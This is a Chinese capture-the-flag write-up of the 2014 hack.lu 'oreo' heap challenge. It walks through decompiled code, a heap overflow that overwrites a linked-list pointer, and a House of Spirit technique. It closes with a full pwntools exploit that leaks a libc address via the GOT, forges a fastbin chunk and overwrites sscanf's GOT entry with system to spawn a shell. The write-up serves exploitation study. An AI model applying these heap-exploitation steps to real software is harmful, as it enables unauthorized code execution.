2014 hack.lu——oreo

32位程序,没开PIE   #House Of Spirit 

2014 hack.lu——oreo

需要注意的是,该程序并没有进行 setvbuf 操作,因此在初次执行 io 函数时,会在堆上分配空间。

程序逻辑

 

 1 unsigned int sub_804898D()
 2 {
 3   unsigned int v1; // [esp+1Ch] [ebp-Ch]
 4 
 5   v1 = __readgsdword(0x14u);
 6   puts("What would you like to do?\n");
 7   printf("%u. Add new rifle\n", 1);
 8   printf("%u. Show added rifles\n", 2);
 9   printf("%u. Order selected rifles\n", 3);
10   printf("%u. Leave a Message with your Order\n", 4);
11   printf("%u. Show current stats\n", 5);
12   printf("%u. Exit!\n", 6);
13   while ( 1 )
14   {
15     switch ( sub_8048896() )
16     {
17       case 1:
18         add_new();
19         break;
20       case 2:
21         show_add();
22         break;
23       case 3:
24         order();
25         break;
26       case 4:
27         lea_msg();
28         break;
29       case 5:
30         show_status();
31         break;
32       case 6:
33         return __readgsdword(0x14u) ^ v1;
34       default:
35         continue;
36     }
37   }
38 }

 

这是一个枪支订购系统,添加枪支模块如下

 1 unsigned int add_new()
 2 {
 3   char *v1; // [esp+18h] [ebp-10h]
 4   unsigned int v2; // [esp+1Ch] [ebp-Ch]
 5 
 6   v2 = __readgsdword(0x14u);
 7   v1 = dword_804A288;
 8   dword_804A288 = (char *)malloc(0x38u);
 9   if ( dword_804A288 )
10   {
11     *((_DWORD *)dword_804A288 + 13) = v1;
12     printf("Rifle name: ");
13     fgets(dword_804A288 + 25, 56, stdin);  //溢出可以覆盖next指针
14     sub_80485EC(dword_804A288 + 25);
15     printf("Rifle description: ");
16     fgets(dword_804A288, 56, stdin);
17     sub_80485EC(dword_804A288);
18     ++dword_804A2A4;
19   }
20   else
21   {
22     puts("Something terrible happened!");
23   }
24   return __readgsdword(0x14u) ^ v2;
25 }

我们可以看出如下结构体

1 00000000 rifle           struc ; (sizeof=0x38, mappedto_5)
2 00000000 descript        db 25 dup(?)
3 00000019 name            db 27 dup(?)
4 00000034 next            dd ?                    ; offset
5 00000038 rifle           ends

问题在于读取的名字的长度过长,可以覆盖 next 指针以及后面堆块的数据。输入27+4字节即覆盖next指针。需要注意的是,这些枪支的大小都是在 fastbin 范围内的。

利用思路

 

基本利用思路如下

 

  1. 由于程序存在堆溢出漏洞,而且还可以控制 next 指针,我们可以直接控制 next 指针指向程序中 got 表的位置。当进行展示的时候,即可以输出对应的内容,这里同时需要确保假设对应地址为一个枪支结构体时,其 next 指针为 NULL。这里我采用 puts@got。通过这样的操作,我们就可以获得出 libc 基地址,以及 system 函数地址。
  2. 由于枪支结构体大小是 0x38 大小,所以其对应的 chunk 为 0x40。这里采用 house of sprit 的技术来返回 0x0804A2A8 处的 chunk,即留下的消息的指针。因此,我们需要设置 0x0804A2A4 处的内容为 0x40,即需要添加 0x40 支枪支,从而绕过大小检测。同时为了确保可以绕过 next chunk 的检测,这里我们编辑留下的消息。
  3. 在成功分配这样的 chunk 后,我们其实就有了一个任意地址修改的漏洞,这里我们可以选择修改一个合适的 got 项为 system 地址,从而获得 shell。

 

expolit

 

 1 from pwn import *
 2 sh=process('./oreo')
 3 elf=ELF('./oreo')
 4 libc=ELF('/lib/i386-linux-gnu/libc.so.6')
 5 
 6 def add(des,name):
 7     sh.sendline('1')
 8     sh.sendline(name)
 9     sh.sendline(des)
10 
11 def show_rifle():
12     sh.sendline('2')
13 
14 def order():
15     sh.sendline('3')
16 
17 def msg(notice):
18     sh.sendline('4')
19     sh.sendline(notice)
20 
21 puts_got=elf.got['puts']
22 sscanf_got=elf.got['__isoc99_sscanf']
23 
24 payload='a'*27+p32(puts_got)
25 add('a'*25,payload)
26 show_rifle()
27 sh.recvuntil('a'*25)
28 sh.recvuntil('Description: ')
29 puts_adr=u32(sh.recvuntil('\n',drop=True)[:4])
30 libc_base=puts_adr-libc.symbols['puts']
31 system_adr=libc_base+libc.symbols['system']
32 binsh_adr=libc_base+libc.search('/bin/sh').next()
33 print 'libc_base:'+hex(libc_base)
34 print 'puts_adr:'+hex(puts_adr)
35 print 'system_adr'+hex(system_adr)
36 print 'binsh_adr'+hex(binsh_adr)
37 
38 oifle=1
39 while oifle<0x3f:
40     add('a'*25,'a'*27+p32(0))
41     oifle+=1
42 
43 payload='a'*27+p32(0x0804A2A8)
44 add('a'*25,payload)
45 
46 payload='\x00'*0x20   
  #msg地址为0x0804A2C0
  #0x0804A2C0-0x0804A2A8=0x18
  #0x18+0x20+0x4+0x4=0x40 47 payload+=p32(0x40) #伪造下个堆的prev_size绕过检测 48 payload+=p32(0x20) 49 msg(payload) 50 #v40->next=chunk_0x0804A2A8 51 #free(v40) -> free(chunk_0x0804A2A8) 52 #fastbin 0x40: head->chunk_0x0804A2A8->v40->NULL 53 order() 54 sh.recvuntil('Okay order submitted!\n') 55 add(p32(sscanf_got),'a') #0x0804A2A8内容修改为sscanf_got 56 msg(p32(system_adr))  #修改0x0804A2A8处指针的内容,即修改sscanf_got的内容为system_adr 57 sh.sendline('/bin/sh\x00') 58 sh.interactive()

 

上一篇:十一、生成器和迭代器 5.生成器应用


下一篇:Artical--1--简单的TCP_IP示例